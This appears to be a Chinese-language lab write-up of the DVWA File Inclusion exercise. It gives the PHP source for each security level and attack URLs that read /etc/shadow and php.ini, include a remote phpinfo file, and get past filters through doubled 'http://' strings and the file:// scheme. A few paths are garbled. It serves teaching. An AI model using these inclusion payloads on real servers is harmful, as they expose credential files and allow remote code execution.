dvwa(5)——File Inclusion

1.File Inclusion

File Inclusion，意思是文件包含漏洞，是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数(include()，require()和include_once()，require_once())利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞，远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后，服务器允许包含一个远程的文件)。

文件包含漏洞的一般特征如下：

?page=a.PHP
?home=a.html
?file=content

2. 漏洞分析

2.1 low

源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到，服务器端对page参数没有做任何的过滤跟检查。服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。现实中，恶意的攻击者是不会乖乖点击这些链接的，因此page参数是不可控的。

尝试攻击1：
构造url如下。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/shadow

报错，显示没有这个文件，说明不是服务器系统不是Linux，但同时暴露了服务器文件的绝对路径D:\xampp\htdocs\dvwa\vulnerabilities\fi\index.php

尝试攻击2
构造url如下。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\xampp\htdocs\dvwa\php.ini
成功读取了服务器的php.ini文件。
magic_quotes_gpc = Off allow_url_fopen on allow_url_include on

尝试攻击3
当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话，就容易导致任意远程代码执行。在远程服务器127.0.0.1上传一个phpinfo.txt文件，内容如下。

<?php
phpinfo();
?>

然后访问url:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=…/…/hackable/uploads/test1.php
我们可以看到成功读取了服务端配置信息。

2.2 Medium

源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

str_replace： https://www.w3school.com.cn/php/func_string_str_replace.asp

使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。例如page=htthttp://p://10.10.10.151/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://10.10.10.151/phpinfo.txt，成功执行远程命令。

同时，因为替换的只是“…/”、“…\”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。
我们可以用“…\”替换“…\”，也可以正常访问

2.3 High

源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到，High级别的代码使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。
High级别的代码规定只能包含file开头的文件，看似安全，不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生，当我们用浏览器打开一个本地文件时，用的就是file协议，如下图。

尝试攻击
我们构造如下URL：

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:/test1.php， 也是可以正常返回信息

2.4 Impossible

源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞。